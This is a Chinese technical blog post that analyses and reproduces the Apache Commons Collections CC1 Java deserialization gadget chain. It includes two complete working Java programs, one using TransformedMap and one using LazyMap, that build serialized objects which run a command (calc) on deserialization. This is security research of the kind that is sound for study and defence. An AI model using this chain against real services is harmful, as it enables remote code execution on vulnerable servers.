CC1链分析与复现

背景介绍

Apache Commons Collections 是对 java.util.Collection 的扩展。对集合类进行了增强和改进。集合类一般作为传递的载体和包裹

SUN包在IDEA下配置调试

https://www.javatt.com/p/60827

入口点

Transformer接口
在这里插入图片描述
实现Transform接口的方法
在这里插入图片描述
需要利用的三个类:
ConstantTransformer类:接收一个对象,返回一个常量,这个常量是在构造方法里设置的。不管传什么都返回构造方法的常量。
ChainedTransformer类:构造方法里要传一个Transformer的数组,然后将数组循环,链式调用,前一个的输出作为后一个输入循环调用。
InvokerTransformer类:构造函数接收方法名、参数类型、参数值,然后transform方法接收一个对象,反射执行该对象的方法。很标准的任意方法调用类。例如:new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(Runtime._getRuntime_());

通过Transformer序列化Runtime

Runtime不能序列化,因为Runtime类是没有实现serialaze接口的。但是Class是可以序列化的。那么就从Class入手。
在这里插入图片描述

Transformer[] transformers = new Transformer[]{ //Transformer的数组
    new ConstantTransformer(Runtime.class),//ConstantTransformer的transform的方法会返回构造方法内的对象,这里返回的是Runtime的Class
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),//getRuntime方法会返回一个Runtime实例(单例模式)。
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),//getRuntime方法是静态方法所以第一个参数是null,getRuntime方法没有参数因此第二个参数也是null
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})//执行方法
    };

//这里因为第一个Transform是ConstantTransformer,它的transform方法不论接收什么参数,都会返回构造方法的对象,因此这里传入一个字符串空值。
        new ChainedTransformer(transformers).transform("");//ChainedTransformer构造方法接收一个Transform数组,然后它的transform方法会遍历执行数组内的transform方法,将上一个Transform的结果传递给下一个Transform

调用链寻找

了解到InvokerTransformer可以进行方法调用,那么就去搜索哪个类中调用了transformer方法。最后搜到TransformedMap是一个好的利用点,其实ysoserial中使用了LazyMap,而且是使用动态代理的方式。TransformedMap与LazyMap的区别是TransformedMap是在写入元素的时候执行transformed,而LazyMap是在get方法中执行factory.transform。LazyMap的作用是“懒加载”,在get找不到值的时候,它会调用 factory.transform 方法去获取一个值在这里插入图片描述

TransformedMap的checkSetValue方法调用了transform
在这里插入图片描述
checkSetValue又在MapEntry的setValue方法中调用。
这里注意AbstractMapEntryDecorator抽象类是TransformedMap和MapEntry的父类。
在这里插入图片描述
MapEntry是Map遍历的时候一个键值对就叫一个Entry。正常想的话,我们只需要去遍历被TransformedMap修饰过的Map并且执行setValue方法,那么就会调用TransformedMap的checkSetValue方法。
在这里插入图片描述
因为是执行value的Transformer,因此value得是Runtime类。这样InvokerTransformer会获取value的class就是Runtime。到这一步的示例代码:
在这里插入图片描述

到现在,我们只需要去找谁能够执行Entry的setValue方法,最好是谁的readObject里面调用了setValue,因为反序列化入口都为readObject。找到一个这样的类,那么我们就可以进行命令执行。

AnnotationInvocationHandler类使用TransformedMap方式实现利用链

使用TransformedMaps是因为在AnnotationInvocationHandler类的readObject方法中调用了setValue,但是是在低版本的JDK中才有,我这是8u51版本,在8u321版本中这块代码进行了修改(从8u71开始做的修改),新增了LinkedHashMap来替代我们反序列化得到的Map对象,并且没有了setValue方法。
在这里插入图片描述

完整代码示例:
在这里插入图片描述

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{ //Transformer的数组
            new ConstantTransformer(Runtime.class),//ConstantTransformer的transform的方法会返回构造方法内的对象,这里返回的是Runtime的Class
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),//getRuntime方法会返回一个Runtime实例(单例模式)。
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),//getRuntime方法是静态方法所以第一个参数是null,getRuntime方法没有参数因此第二个参数也是null
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})//执行方法
            };
        
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);//ChainedTransformer构造方法接收一个Transform数组,然后它的transform方法会遍历执行数组内的transform方法,将上一个Transform的结果传递给下一个Transform
        
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "a");//为了AnnotationInvocationHandler的逻辑判断,key为value和构造方法里的Target.class的value属性一致才可以
        
        Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);
        
        //JDK内部的类,不能直接使用new来实例化。我使用反射获取到了它的构造方法,并将其设置成外部可见的,再调用就可以实例化
        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> aClassDeclaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        aClassDeclaredConstructor.setAccessible(true);
        Object o = aClassDeclaredConstructor.newInstance(Target.class, decorate);//使用Target是因为它有value属性,AnnotationInvocationHandler里面进行了if判断,只有map的key和value一致时才触发
        
        serialize(o);
        unSerialize();
    }
    
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D://ser.bin"));
        objectOutputStream.writeObject(obj);
    }
    
    public static Object unSerialize() throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D://ser.bin"));
        return objectInputStream.readObject();
    }
}

AnnotationInvocationHandler类使用LazyMap方式实现利用链

ysoserial(y so serial)使用的是这种方式。LazyMap和TransformedMap类似,都来自于Common-Collections库,并继承AbstractMapDecorator。LazyMap仍然无法解决CommonCollections1这条利用链在高版本Java(8u71以后)中的使用问题

LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执行transform,而LazyMap是在其get方法中执行的factory.transform。LazyMap的作用是”懒加载“,在get找不到值的时候,它会调用factory.transform方法去获取一个值。

但是相比于TransformedMap的利用方法,LazyMap后续利用稍微复杂一些,原因是在sun.reflect.annotation.AnnotationInvocationHandlerreadObject方法中并没有直接调用到Map的get方法。所以ysoserial找到了另一条路,AnnotationInvocationHandler类的invoke方法有调用到get

调用AnnotationInvocationHandler的invoke方法,ysoserial使用的是动态代理。
完整代码示例:
在这里插入图片描述

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1LazyMap {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{ //Transformer的数组
            new ConstantTransformer(Runtime.class),//ConstantTransformer的transform的方法会返回构造方法内的对象,这里返回的是Runtime的Class
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),//getRuntime方法会返回一个Runtime实例(单例模式)。
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),//getRuntime方法是静态方法所以第一个参数是null,getRuntime方法没有参数因此第二个参数也是null
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),//执行方法
            new ConstantTransformer(1)//隐蔽了启动进程的日志特征
            };
        
        Transformer chainedTransformer = new ChainedTransformer(transformers);//ChainedTransformer构造方法接收一个Transform数组,然后它的transform方法会遍历执行数组内的transform方法,将上一个Transform的结果传递给下一个Transform
        
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> decorate = LazyMap.decorate(map, chainedTransformer);
        
        //JDK内部的类,不能直接使用new来实例化。我使用反射获取到了它的构造方法,并将其设置成外部可见的,再调用就可以实例化
        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> construct = aClass.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, decorate);//使用Target是因为它有value属性,AnnotationInvocationHandler里面进行了if判断,只有map的key和value一致时才触发
        
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);//代理后的对象叫做proxyMap,但我们不能直接对其进行序列化,因为我们入口点是AnnotationInvocationHandler#readObject,所以我们还需要再用AnnotationInvocationHandler对这个proxyMap进行包裹
        
        serialize(handler);
        unSerialize();
    }
    
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D://ser.bin"));
        objectOutputStream.writeObject(obj);
    }
    
    public static Object unSerialize() throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D://ser.bin"));
        return objectInputStream.readObject();
    }
}

LazyMap和TrasnformedMap利用上的区别

  • LazyMap和TransformedMap类似,都来自于Common-Collections库,并继承AbstractMapDecorator。
  • LazyMap和TransformedMap都无法解决CommonCollections1这条利用链在高版本Java(8u71以后)中的使用问题
  • LazyMap的漏洞触发在get和invoke中,TransformedMap的触发在Entry.setValue方法。
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值